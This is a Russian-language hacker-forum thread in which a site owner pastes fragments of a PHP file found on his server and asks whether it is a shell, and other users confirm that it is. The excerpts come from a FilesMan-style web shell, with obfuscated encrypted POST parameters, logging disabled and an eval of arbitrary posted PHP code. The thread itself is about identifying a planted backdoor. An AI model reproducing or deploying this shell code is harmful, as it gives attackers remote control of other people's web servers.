нарыл такой php файл у себя в скрипте, это шелл?

Discussion in 'Общие вопросы программирования' started by Payalnik, 20 Jul 2019.

  1. Payalnik

    Payalnik Member

    Joined:
    27 Feb 2011
    Messages:
    13
    Likes Received:
    31
    Reputations:
    0
    <?php

    $в–› = "21232f297a57a5a743894a0e4a801fc3"; //admin
    $▘ = true;
    $в–њ = 'UTF-8';
    $в–љ = 'FilesMan';
    $в–™ = md5($_SERVER['HTTP_USER_AGENT']);
    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])) {
    prototype(md5($_SERVER['HTTP_HOST'])."key", $в–™);
    }
    if(empty($_POST['charset']))
    $_POST['charset'] = $в–њ;
    if (!isset($_POST['ne'])) {
    if(isset($_POST['a'])) $_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['a'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
    if(isset($_POST['c'])) $_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['c'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
    if(isset($_POST['p1'])) $_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p1'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
    if(isset($_POST['p2'])) $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
    if(isset($_POST['p3'])) $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
    }
    function decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}
    @ini_set('error_log',NULL);
    @ini_set('log_errors',0);
    @ini_set('max_execution_time',0);


    _________________________________________________________________
    function sr(url, params) {
    if (window.XMLHttpRequest)
    req = new XMLHttpRequest();
    else if (window.ActiveXObject)
    req = new ActiveXObject('Microsoft.XMLHTTP');
    if (req) {
    req.onreadystatechange = processReqChange;
    req.open('POST', url, true);
    req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
    req.send(params);
    }
    }
    function processReqChange() {
    if( (req.readyState == 4) )
    if(req.status == 200) {
    var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
    var arr=reg.exec(req.responseText);
    eval(arr[2].substr(0, arr[1]));
    } else alert('Request error!');
    }
    </script>
    ___________________________________________________________________________

    echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
    echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';

    ____________________________________________________________________
    req = new ActiveXObject('Microsoft.XMLHTTP');
    if (req) {
    req.onreadystatechange = processReqChange;
    req.open('POST', url, true);
    req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
    req.send(params);
    }
    }
    function processReqChange() {
    if( (req.readyState == 4) )
    if(req.status == 200) {
    var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
    var arr=reg.exec(req.responseText);
    eval(arr[2].substr(0, arr[1]));
    } else alert('Request error!');
    }
    </script>
    <head><b


    _____________________________
    <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
    if(!empty($_POST['p1'])) {
    ob_start();
    eval($_POST['p1']);
    echo htmlspecialchars(ob_get_clean());
    }
    echo '</pre></div>';
    hardFooter();
    _____________________________________
     
  2. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,414
    Likes Received:
    911
    Reputations:
    863
    да, причем даже очевидный)
     
    _________________________
  3. Payalnik

    Payalnik Member

    Joined:
    27 Feb 2011
    Messages:
    13
    Likes Received:
    31
    Reputations:
    0
    Спасибо! А я всё думал, куда мои деньги уходят...
     
    CyberTro1n likes this.
  4. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,414
    Likes Received:
    911
    Reputations:
    863
    Если есть он, то как правило, должно быть еще что то!
     
    _________________________
    оlbaneс, Spinus and Baskin-Robbins like this.
  5. ex0dus

    ex0dus Reservists Of Antichat

    Joined:
    23 Feb 2010
    Messages:
    44
    Likes Received:
    111
    Reputations:
    9
    с кодировками в коде каша какая-то, так не отработает, упадет в warning, по факту да - это шелл: eval($_POST['p1']) - по - моему все объясняет сразу и без вопросов
     
  6. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,170
    Likes Received:
    1,155
    Reputations:
    202
    ничего не упадет и все отработает как надо
     
    winstrool likes this.